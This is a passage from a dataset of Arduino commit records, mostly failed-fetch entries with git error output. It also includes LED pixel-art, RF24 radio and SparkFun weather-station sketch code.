0); set_led_rgb(3, 2, 13, 6, 2); set_led_rgb(4, 2, 13, 12, 10); set_led_rgb(5, 2, 2, 2, 2); set_led_rgb(6, 2, 0, 0, 0); set_led_rgb(7, 2, 0, 0, 0); set_led_rgb(8, 2, 0, 0, 0); set_led_rgb(9, 2, 0, 0, 0); set_led_rgb(10, 2, 0, 0, 0); set_led_rgb(11, 2, 0, 0, 0); set_led_rgb(12, 2, 0, 0, 0); set_led_rgb(13, 2, 0, 0, 0); set_led_rgb(14, 2, 13, 12, 9); set_led_rgb(15, 2, 13, 8, 4); set_led_rgb(16, 2, 13, 5, 0); set_led_rgb(17, 2, 13, 5, 0); set_led_rgb(18, 2, 13, 5, 0); set_led_rgb(19, 2, 13, 6, 2);\n set_led_rgb(0, 3, 13, 5, 0); set_led_rgb(1, 3, 13, 5, 0); set_led_rgb(2, 3, 13, 5, 0); set_led_rgb(3, 3, 13, 6, 2); set_led_rgb(4, 3, 13, 12, 10); set_led_rgb(5, 3, 2, 2, 2); set_led_rgb(6, 3, 2, 1, 1); set_led_rgb(7, 3, 5, 4, 4); set_led_rgb(8, 3, 7, 3, 0); set_led_rgb(9, 3, 8, 3, 0); set_led_rgb(10, 3, 8, 3, 0); set_led_rgb(11, 3, 5, 4, 4); set_led_rgb(12, 3, 3, 2, 2); set_led_rgb(13, 3, 0, 0, 0); set_led_rgb(14, 3, 13, 12, 9); set_led_rgb(15, 3, 13, 8, 4); set_led_rgb(16, 3, 13, 5, 0); set_led_rgb(17, 3, 13, 5, 0); set_led_rgb(18, 3, 13, 5, 0); set_led_rgb(19, 3, 13, 5, 0);\n set_led_rgb(0, 4, 13, 5, 0); set_led_rgb(1, 4, 13, 5, 0); set_led_rgb(2, 4, 13, 5, 0); set_led_rgb(3, 4, 13, 6, 2); set_led_rgb(4, 4, 13, 12, 10); set_led_rgb(5, 4, 2, 2, 2); set_led_rgb(6, 4, 5, 4, 4); set_led_rgb(7, 4, 13, 12, 10); set_led_rgb(8, 4, 13, 5, 0); set_led_rgb(9, 4, 13, 5, 0); set_led_rgb(10, 4, 13, 5, 0); set_led_rgb(11, 4, 13, 12, 10); set_led_rgb(12, 4, 8, 7, 6); set_led_rgb(13, 4, 0, 0, 0); set_led_rgb(14, 4, 13, 12, 9); set_led_rgb(15, 4, 13, 8, 4); set_led_rgb(16, 4, 13, 5, 0); set_led_rgb(17, 4, 13, 5, 0); set_led_rgb(18, 4, 13, 5, 0); set_led_rgb(19, 4, 13, 5, 0);\n set_led_rgb(0, 5, 13, 5, 0); set_led_rgb(1, 5, 13, 5, 0); set_led_rgb(2, 5, 13, 5, 0); set_led_rgb(3, 5, 13, 6, 2); set_led_rgb(4, 5, 13, 12, 10); set_led_rgb(5, 5, 13, 12, 10); set_led_rgb(6, 5, 13, 12, 10); set_led_rgb(7, 5, 13, 11, 10); set_led_rgb(8, 5, 13, 5, 0); set_led_rgb(9, 5, 13, 5, 0); set_led_rgb(10, 5, 13, 5, 0); set_led_rgb(11, 5, 13, 12, 10); set_led_rgb(12, 5, 13, 12, 10); set_led_rgb(13, 5, 13, 12, 10); set_led_rgb(14, 5, 13, 12, 9); set_led_rgb(15, 5, 13, 8, 4); set_led_rgb(16, 5, 13, 5, 0); set_led_rgb(17, 5, 13, 5, 0); set_led_rgb(18, 5, 13, 5, 0); set_led_rgb(19, 5, 13, 5, 0);\n set_led_rgb(0, 6, 13, 5, 0); set_led_rgb(1, 6, 13, 5, 0); set_led_rgb(2, 6, 13, 5, 0); set_led_rgb(3, 6, 13, 5, 1); set_led_rgb(4, 6, 13, 8, 4); set_led_rgb(5, 6, 13, 8, 4); set_led_rgb(6, 6, 13, 8, 4); set_led_rgb(7, 6, 13, 8, 4); set_led_rgb(8, 6, 13, 5, 0); set_led_rgb(9, 6, 13, 5, 0); set_led_rgb(10, 6, 13, 5, 0); set_led_rgb(11, 6, 13, 8, 4); set_led_rgb(12, 6, 13, 8, 4); set_led_rgb(13, 6, 13, 8, 4); set_led_rgb(14, 6, 13, 8, 4); set_led_rgb(15, 6, 13, 6, 2); set_led_rgb(16, 6, 13, 5, 0); set_led_rgb(17, 6, 13, 5, 0); set_led_rgb(18, 6, 13, 5, 0); set_led_rgb(19, 6, 13, 5, 0);\n set_led_rgb(0, 7, 13, 5, 0); set_led_rgb(1, 7, 13, 5, 0); set_led_rgb(2, 7, 13, 5, 0); set_led_rgb(3, 7, 13, 5, 0); set_led_rgb(4, 7, 13, 5, 0); set_led_rgb(5, 7, 13, 5, 0); set_led_rgb(6, 7, 13, 5, 0); set_led_rgb(7, 7, 13, 5, 0); set_led_rgb(8, 7, 13, 5, 0); set_led_rgb(9, 7, 13, 5, 0); set_led_rgb(10, 7, 13, 5, 0); set_led_rgb(11, 7, 13, 5, 0); set_led_rgb(12, 7, 13, 5, 0); set_led_rgb(13, 7, 13, 5, 0); set_led_rgb(14, 7, 13, 5, 0); set_led_rgb(15, 7, 13, 5, 0); set_led_rgb(16, 7, 13, 5, 0); set_led_rgb(17, 7, 13, 5, 0); set_led_rgb(18, 7, 13, 5, 0); set_led_rgb(19, 7, 13, 5, 0);\n set_led_rgb(0, 8, 13, 5, 0); set_led_rgb(1, 8, 13, 5, 0); set_led_rgb(2, 8, 13, 5, 0); set_led_rgb(3, 8, 13, 5, 0); set_led_rgb(4, 8, 13, 5, 0); set_led_rgb(5, 8, 13, 9, 6); set_led_rgb(6, 8, 13, 12, 10); set_led_rgb(7, 8, 13, 12, 10); set_led_rgb(8, 8, 13, 12, 10); set_led_rgb(9, 8, 13, 12, 10); set_led_rgb(10, 8, 13, 12, 10); set_led_rgb(11, 8, 13, 12, 10); set_led_rgb(12, 8, 13, 12, 10); set_led_rgb(13, 8, 13, 10, 8); set_led_rgb(14, 8, 13, 5, 0); set_led_rgb(15, 8, 13, 5, 0); set_led_rgb(16, 8, 13, 5, 0); set_led_rgb(17, 8, 13, 5, 0); set_led_rgb(18, 8, 13, 5, 0); set_led_rgb(19, 8, 13, 6, 2);\n set_led_rgb(0, 9, 14, 11, 8); set_led_rgb(1, 9, 14, 11, 9); set_led_rgb(2, 9, 14, 11, 9); set_led_rgb(3, 9, 13, 10, 7); set_led_rgb(4, 9, 13, 9, 6); set_led_rgb(5, 9, 13, 11, 8); set_led_rgb(6, 9, 13, 12, 10); set_led_rgb(7, 9, 13, 12, 10); set_led_rgb(8, 9, 13, 12, 10); set_led_rgb(9, 9, 13, 12, 10); set_led_rgb(10, 9, 13, 12, 10); set_led_rgb(11, 9, 13, 12, 10); set_led_rgb(12, 9, 13, 12, 10); set_led_rgb(13, 9, 13, 11, 9); set_led_rgb(14, 9, 13, 9, 6); set_led_rgb(15, 9, 14, 10, 7); set_led_rgb(16, 9, 14, 11, 9); set_led_rgb(17, 9, 14, 11, 9); set_led_rgb(18, 9, 14, 11, 9); set_led_rgb(19, 9, 14, 11, 9);\n}\n\nvoid setup() {\n \/\/ LEDColorCorrection { TypicalSMD5050 =0xFFB0F0, TypicalLEDStrip =0xFFB0F0, Typical8mmPixel =0xFFE08C, TypicalPixelString =0xFFE08C, UncorrectedColor =0xFFFFFF }\n FastLED.addLeds<CHIPSET, LED_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(UncorrectedColor);\n FastLED.setBrightness( BRIGHTNESS );\n\n ShowGoomba();\n FastLED.show();\n FastLED.setBrightness(BRIGHTNESS);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PixelViews\/Goomba\/Goomba.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9dcedc144983647a3c34e466182f28a70f58da09","subject":"Potentiometer drive with Arduino","message":"Potentiometer drive with Arduino\n","repos":"orhaneee\/iot-robotarm,orhaneee\/iot-robotarm","old_file":"PotRobotArmArd\/PotRobotArmArd.ino","new_file":"PotRobotArmArd\/PotRobotArmArd.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/orhaneee\/iot-robotarm.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"072ba4b913efccf1259aac430bc75291627f520a","subject":"finish TODO; do tuning","message":"finish TODO; do tuning\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc6b325bbe0aa0c457c4b6f89fe17a59892d0c60","subject":"different brake for rotation & goAhead","message":"different brake for rotation & goAhead\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"787cb473bcd52e46447a66e2e0cc1fead01af1dd","subject":"catch sneaky CRC errors","message":"catch sneaky CRC errors\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"87582711886aec66b83231cf627c71383c96585a","subject":"more changes","message":"more changes\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3769892ae2bf2754d02f46bafc9334c5713aa4b9","subject":"New sketch DT_BlinkLightArray","message":"New sketch DT_BlinkLightArray","repos":"DavidTangye\/sketchbook","old_file":"DT_BlinkLightArray\/DT_BlinkLightArray.ino","new_file":"DT_BlinkLightArray\/DT_BlinkLightArray.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DavidTangye\/sketchbook.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"cbfd4e4895527d4eaca4f32949cf625c9bd52184","subject":"Sender file for one way communication between two arduinos","message":"Sender file for one way communication between two arduinos","repos":"laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon","old_file":"arduino\/RF_send.ino","new_file":"arduino\/RF_send.ino","new_contents":"#include <SPI.h> \n#include \"RF24.h\"\n\nRF24 myRadio (7, 8);\nbyte addresses[][6] = {\"0\"};\n\nstruct package\n{\n int id=1;\n float temperature = 18.3;\n char text[100] = \"Text to be transmitted\";\n};\n\n\ntypedef struct package Package;\nPackage data;\n\n\nvoid setup()\n{\n Serial.begin(115200);\n delay(1000);\n myRadio.begin(); \n myRadio.setChannel(115); \n myRadio.setPALevel(RF24_PA_MAX);\n myRadio.setDataRate( RF24_250KBPS ) ; \n myRadio.openWritingPipe( addresses[0]);\n delay(1000);\n}\n\nvoid loop()\n{\n myRadio.write(&data, sizeof(data)); \n\n Serial.print(\"\\nPackage:\");\n Serial.print(data.id);\n Serial.print(\"\\n\");\n Serial.println(data.temperature);\n Serial.println(data.text);\n data.id = data.id + 1;\n data.temperature = data.temperature+0.1;\n delay(1000);\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/RF_send.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d6d74816603810f3f6e2cb7e6ca7d2f90f626c4b","subject":"sending sms with location","message":"sending sms with location\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/GSM_GPS\/GSM_monitor\/GSM_monitor.ino","new_file":"modules\/GSM_GPS\/GSM_monitor\/GSM_monitor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6901dd15021ad107437aabf4441e49fd7adfa769","subject":"Add simple sketch to test Ultrasonic sensor","message":"Add simple sketch to test Ultrasonic sensor\n","repos":"UAA-EQLNES\/EQLNES-Sensors","old_file":"Arduino\/libraries\/UA_Sensors\/examples\/BasicUltrasonic\/BasicUltrasonic.ino","new_file":"Arduino\/libraries\/UA_Sensors\/examples\/BasicUltrasonic\/BasicUltrasonic.ino","new_contents":"\/*\n Test Ultrasonic sensor readings\n\n Created 2 7 2014\n Modified 2 7 2014\n*\/\n\n\/\/ Ultrasonic sensor settings\nconst byte ULTRASONIC_PIN = A6;\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n Serial.println(analogRead(ULTRASONIC_PIN));\n delay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/libraries\/UA_Sensors\/examples\/BasicUltrasonic\/BasicUltrasonic.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"b4a911577be6c4f7c38ab4dd168ee88cc21d4fff","subject":"AES dcumentation","message":"AES dcumentation\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/aes.ino","new_file":"teensy-hsm\/aes.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"30635a03db77528abc72746d0910c8c44ca80b69","subject":"Cosmetic","message":"Cosmetic\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/aes.ino","new_file":"teensy-hsm\/aes.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3a60c3169f89839415f98ef4b00de84f18df915c","subject":"successfully tested","message":"successfully tested\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/checksum_test\/checksum_test.ino","new_file":"unit tests\/checksum_test\/checksum_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/checksum_test\/checksum_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"911f4c12e3b12dc0fa7d51ef85933921ee1e5dbf","subject":"Added Version 2 using Arduino Mega and LCD display","message":"Added Version 2 using Arduino Mega and LCD display","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"mwsLRWHFv2\/mwsLRWHFv2.ino","new_file":"mwsLRWHFv2\/mwsLRWHFv2.ino","new_contents":"\/* \n Weather Shield Example\n By: Nathan Seidle\n SparkFun Electronics\n Date: November 16th, 2013\n License: This code is public domain but you buy me a beer if you use this and we meet someday (Beerware license).\n \n Much of this is based on Mike Grusin's USB Weather Board code: https:\/\/www.sparkfun.com\/products\/10586\n \n This code reads all the various sensors (wind speed, direction, rain gauge, humidty, pressure, light, batt_lvl)\n and reports it over the serial comm port. This can be easily routed to an datalogger (such as OpenLog) or\n a wireless transmitter (such as Electric Imp).\n \n Measurements are reported once a second but windspeed and rain gauge are tied to interrupts that are\n calcualted at each report.\n \n This example code assumes the GP-635T GPS module is attached.\n \n *\/\n\n#include <Wire.h> \/\/I2C needed for sensors\n#include \"MPL3115A2.h\" \/\/Pressure sensor\n#include \"HTU21D.h\" \/\/Humidity sensor\n#include <SoftwareSerial.h> \/\/Needed for GPS\n#include <TinyGPS++.h> \/\/GPS parsing\n#include <LiquidCrystal_I2C.h>\/\/16x2 LCD library\n\/\/It requires using fm's LiquidCrystal library replacement:\n\/\/https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/wiki\/Home\n\n\/\/This is for the 16x2 LCD\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n\/\/this is for RTC\nint clockAddress = 0x68; \/\/ This is the I2C address\nint command = 0; \/\/ This is the command char, in ascii form, sent from the serial port \nlong previousMillis = 0; \/\/ will store last time Temp was updated\nbyte second, minute, hour, dayOfWeek, dayOfMonth, month, year;\n\nbyte decToBcd(byte val)\n{\n return ( (val\/10*16) + (val%10) );\n}\n\n\/\/ Convert binary coded decimal to normal decimal numbers\nbyte bcdToDec(byte val)\n{\n return ( (val\/16*10) + (val%16) );\n}\n\n\/\/ Gets the date and time from the ds1307 and prints result\nchar* getDateDs1307(int flag) {\n \/\/if flag == 0 : date output\n \/\/if flag == 1 : time output\n \/\/ Reset the register pointer\n Wire.beginTransmission(clockAddress);\n Wire.write(byte(0x00));\n Wire.endTransmission();\n\n Wire.requestFrom(clockAddress, 7);\n\n \/\/ A few of these need masks because certain bits are control bits\n second = bcdToDec(Wire.read() & 0x7f);\n minute = bcdToDec(Wire.read());\n\n \/\/ Need to change this if 12 hour am\/pm\n hour = bcdToDec(Wire.read() & 0x3f); \n dayOfWeek = bcdToDec(Wire.read());\n dayOfMonth = bcdToDec(Wire.read());\n month = bcdToDec(Wire.read());\n year = bcdToDec(Wire.read());\n\n char sza[32];\n if (flag==0)\n sprintf(sza, \"%02d-%02d-%02d\",year,month,dayOfMonth);\n if (flag==1)\n sprintf(sza, \"%02d:%02d:%02d\",hour,minute,second);\n return(sza);\n}\n\/\/end of RTC\n\n\nTinyGPSPlus gps;\n\nstatic const int RXPin = 5, TXPin = 4; \/\/GPS is attached to pin 4(TX from GPS) and pin 5(RX into GPS)\nSoftwareSerial ss(RXPin, TXPin); \n\nMPL3115A2 myPressure; \/\/Create an instance of the pressure sensor\nHTU21D myHumidity; \/\/Create an instance of the humidity sensor\n\n\/\/Hardware pin definitions\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ digital I\/O pins\nconst byte WSPEED = 3;\nconst byte RAIN = 2;\nconst byte STAT1 = 7;\nconst byte STAT2 = 8;\nconst byte GPS_PWRCTL = 6; \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n\n\/\/ analog I\/O pins\nconst byte REFERENCE_3V3 = A3;\nconst byte LIGHT = A1;\nconst byte BATT = A2;\nconst byte WDIR = A0;\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Global Variables\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nlong lastSecond; \/\/The millis counter to see when a second rolls by\nbyte seconds; \/\/When it hits 60, increase the current minute\nbyte seconds_2m; \/\/Keeps track of the \"wind speed\/dir avg\" over last 2 minutes array of data\nbyte minutes; \/\/Keeps track of where we are in various arrays of data\nbyte minutes_10m; \/\/Keeps track of where we are in wind gust\/dir over last 10 minutes array of data\n\nlong lastWindCheck = 0;\nvolatile long lastWindIRQ = 0;\nvolatile byte windClicks = 0;\n\n\/\/We need to keep track of the following variables:\n\/\/Wind speed\/dir each update (no storage)\n\/\/Wind gust\/dir over the day (no storage)\n\/\/Wind speed\/dir, avg over 2 minutes (store 1 per second)\n\/\/Wind gust\/dir over last 10 minutes (store 1 per minute)\n\/\/Rain over the past hour (store 1 per minute)\n\/\/Total rain over date (store one per day)\n\nbyte windspdavg[120]; \/\/120 bytes to keep track of 2 minute average\nint winddiravg[120]; \/\/120 ints to keep track of 2 minute average\nfloat windgust_10m[10]; \/\/10 floats to keep track of 10 minute max\nint windgustdirection_10m[10]; \/\/10 ints to keep track of 10 minute max\nvolatile float rainHour[60]; \/\/60 floating numbers to keep track of 60 minutes of rain\n\n\/\/These are all the weather values that wunderground expects:\nint winddir = 0; \/\/ [0-360 instantaneous wind direction]\nfloat windspeedms = 0; \/\/ [mph instantaneous wind speed]\nfloat windgustms = 0; \/\/ [mph current wind gust, using software specific time period]\nint windgustdir = 0; \/\/ [0-360 using software specific time period]\nfloat windspdms_avg2m = 0; \/\/ [mph 2 minute average wind speed mph]\nint winddir_avg2m = 0; \/\/ [0-360 2 minute average wind direction]\nfloat windgustms_10m = 0; \/\/ [mph past 10 minutes wind gust mph ]\nint windgustdir_10m = 0; \/\/ [0-360 past 10 minutes wind gust direction]\nfloat humidity = 0; \/\/ [%]\nfloat tempf = 0; \/\/ [temperature F]\nfloat rainin = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nvolatile float dailyrainin = 0; \/\/ [rain inches so far today in local time]\n\/\/float baromin = 30.03;\/\/ [barom in] - It's hard to calculate baromin locally, do this in the agent\nfloat pressure = 0;\n\/\/float dewptf; \/\/ [dewpoint F] - It's hard to calculate dewpoint locally, do this in the agent\n\nfloat batt_lvl = 11.8; \/\/[analog value from 0 to 1023]\nfloat light_lvl = 455; \/\/[analog value from 0 to 1023]\n\/\/Rain time stamp\nint Rainindi=0;\n\/\/Variables used for GPS\n\/\/float flat, flon; \/\/ 39.015024 -102.283608686\n\/\/unsigned long age;\n\/\/int year;\n\/\/byte month, day, hour, minute, second, hundredths;\n\n\/\/ volatiles are subject to modification by IRQs\nvolatile unsigned long raintime, rainlast, raininterval, rain, Rainindinter, Rainindtime, Rainindlast;\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Interrupt routines (these are called by the hardware interrupts, not by the main code)\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nvoid rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n{\n raintime = millis(); \/\/ grab current time\n raininterval = raintime - rainlast; \/\/ calculate interval between this and last event\n\n if (raininterval > 10) \/\/ ignore switch-bounce glitches less than 10mS after initial edge\n {\n dailyrainin += 0.011*25.4; \/\/Each dump is 0.011\" of water\n rainHour[minutes] += 0.011*25.4; \/\/Increase this minute's amount of rain\n\n rainlast = raintime; \/\/ set up for next event\n }\n \n \/\/Rain or not (1 or 0)\n if(rainin >0)\n {\n Rainindi=1;\n Rainindtime = millis();\n }\n if(rainin ==0)\n {\n Rainindi=0; \n Rainindlast = millis();\n Rainindlast = Rainindtime;\n }\n Rainindinter = Rainindlast - Rainindtime;\n \n}\n\nvoid wspeedIRQ()\n\/\/ Activated by the magnet in the anemometer (2 ticks per rotation), attached to input D3\n{\n if (millis() - lastWindIRQ > 10) \/\/ Ignore switch-bounce glitches less than 10ms (142MPH max reading) after the reed switch closes\n {\n lastWindIRQ = millis(); \/\/Grab the current time\n windClicks++; \/\/There is 1.492MPH for each click per second.\n }\n \n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n \n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n lcd.backlight();\n \n ss.begin(9600); \/\/Begin listening to GPS over software serial at 9600. This should be the default baud of the module.\n Serial.print(F(\"lon,lat,altitude,sats,date,GMTtime,RTCdate,RTCtime,winddir\"));\n Serial.print(F(\",windspeedms,windgustms,windgustdir,windspdms_avg2m,winddir_avg2m,windgustms_10m,windgustdir_10m\"));\n Serial.print(F(\",humidity,tempc,rainhourmm,raindailymm,rainindicate,rainduration,pressure,batt_lvl,light_lvl\"));\n\n pinMode(STAT1, OUTPUT); \/\/Status LED Blue\n pinMode(STAT2, OUTPUT); \/\/Status LED Green\n \n pinMode(GPS_PWRCTL, OUTPUT);\n digitalWrite(GPS_PWRCTL, HIGH); \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n \n pinMode(WSPEED, INPUT_PULLUP); \/\/ input from wind meters windspeed sensor\n pinMode(RAIN, INPUT_PULLUP); \/\/ input from wind meters rain gauge sensor\n \n pinMode(REFERENCE_3V3, INPUT);\n pinMode(LIGHT, INPUT);\n\n \/\/Configure the pressure sensor\n myPressure.begin(); \/\/ Get sensor online\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n\n \/\/Configure the humidity sensor\n myHumidity.begin();\n\n seconds = 0;\n lastSecond = millis();\n\n \/\/ attach external interrupt pins to IRQ functions\n attachInterrupt(0, rainIRQ, FALLING);\n attachInterrupt(1, wspeedIRQ, FALLING);\n\n \/\/ turn on interrupts\n interrupts();\n\n \/\/Serial.println(\"Weather Shield online!\");\n\n}\n\nvoid loop()\n{\n \/\/Keep track of which minute it is\n if(millis() - lastSecond >= 1000)\n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED\n \n lastSecond += 1000;\n\n \/\/Take a speed and direction reading every second for 2 minute average\n if(++seconds_2m > 119) seconds_2m = 0;\n\n \/\/Calc the wind speed and direction every second for 120 second to get 2 minute average\n float currentSpeed = get_wind_speed();\n \/\/float currentSpeed = random(5); \/\/For testing\n int currentDirection = get_wind_direction();\n windspdavg[seconds_2m] = (int)currentSpeed;\n winddiravg[seconds_2m] = currentDirection;\n \/\/if(seconds_2m % 10 == 0) displayArrays(); \/\/For testing\n\n \/\/Check to see if this is a gust for the minute\n if(currentSpeed > windgust_10m[minutes_10m])\n {\n windgust_10m[minutes_10m] = currentSpeed;\n windgustdirection_10m[minutes_10m] = currentDirection;\n }\n\n \/\/Check to see if this is a gust for the day\n if(currentSpeed > windgustms)\n {\n windgustms = currentSpeed;\n windgustdir = currentDirection;\n }\n \n if(++seconds > 59)\n {\n seconds = 0;\n\n if(++minutes > 59) minutes = 0;\n if(++minutes_10m > 9) minutes_10m = 0;\n\n rainHour[minutes] = 0; \/\/Zero out this minute's rainfall amount\n windgust_10m[minutes_10m] = 0; \/\/Zero out this minute's gust\n }\n\n \/\/Report all readings every second\n printWeather();\n\n digitalWrite(STAT1, LOW); \/\/Turn off stat LED\n }\n\n smartdelay(800); \/\/Wait 1 second, and gather GPS data\n}\n\n\/\/While we delay for a given amount of time, gather GPS data\nstatic void smartdelay(unsigned long ms)\n{\n unsigned long start = millis();\n do \n {\n while (ss.available())\n gps.encode(ss.read());\n } while (millis() - start < ms);\n}\n\n\n\/\/Calculates each of the variables that wunderground is expecting\nvoid calcWeather()\n{\n \/\/Calc winddir\n winddir = get_wind_direction();\n\n \/\/Calc windspeed\n windspeedms = get_wind_speed();\n\n \/\/Calc windgustms\n \/\/Calc windgustdir\n \/\/Report the largest windgust today\n windgustms = 0;\n windgustdir = 0;\n\n \/\/Calc windspdms_avg2m\n float temp = 0;\n for(int i = 0 ; i < 120 ; i++)\n temp += windspdavg[i];\n temp \/= 120.0;\n windspdms_avg2m = temp;\n\n \/\/Calc winddir_avg2m\n temp = 0; \/\/Can't use winddir_avg2m because it's an int\n for(int i = 0 ; i < 120 ; i++)\n temp += winddiravg[i];\n temp \/= 120;\n winddir_avg2m = temp;\n\n \/\/Calc windgustms_10m\n \/\/Calc windgustdir_10m\n \/\/Find the largest windgust in the last 10 minutes\n windgustms_10m = 0;\n windgustdir_10m = 0;\n \/\/Step through the 10 minutes \n for(int i = 0; i < 10 ; i++)\n {\n if(windgust_10m[i] > windgustms_10m)\n {\n windgustms_10m = windgust_10m[i];\n windgustdir_10m = windgustdirection_10m[i];\n }\n }\n\n \/\/Calc humidity\n humidity = myHumidity.readHumidity();\n \/\/float temp_h = myHumidity.readTemperature();\n \/\/Serial.print(\" TempH:\");\n \/\/Serial.print(temp_h, 2);\n\n \/\/Calc tempf from pressure sensor\n tempf = myPressure.readTemp();\n \/\/Serial.print(\" TempP:\");\n \/\/Serial.print(tempf, 2);\n\n \/\/Total rainfall for the day is calculated within the interrupt\n \/\/Calculate amount of rainfall for the last 60 minutes\n rainin = 0; \n for(int i = 0 ; i < 60 ; i++)\n 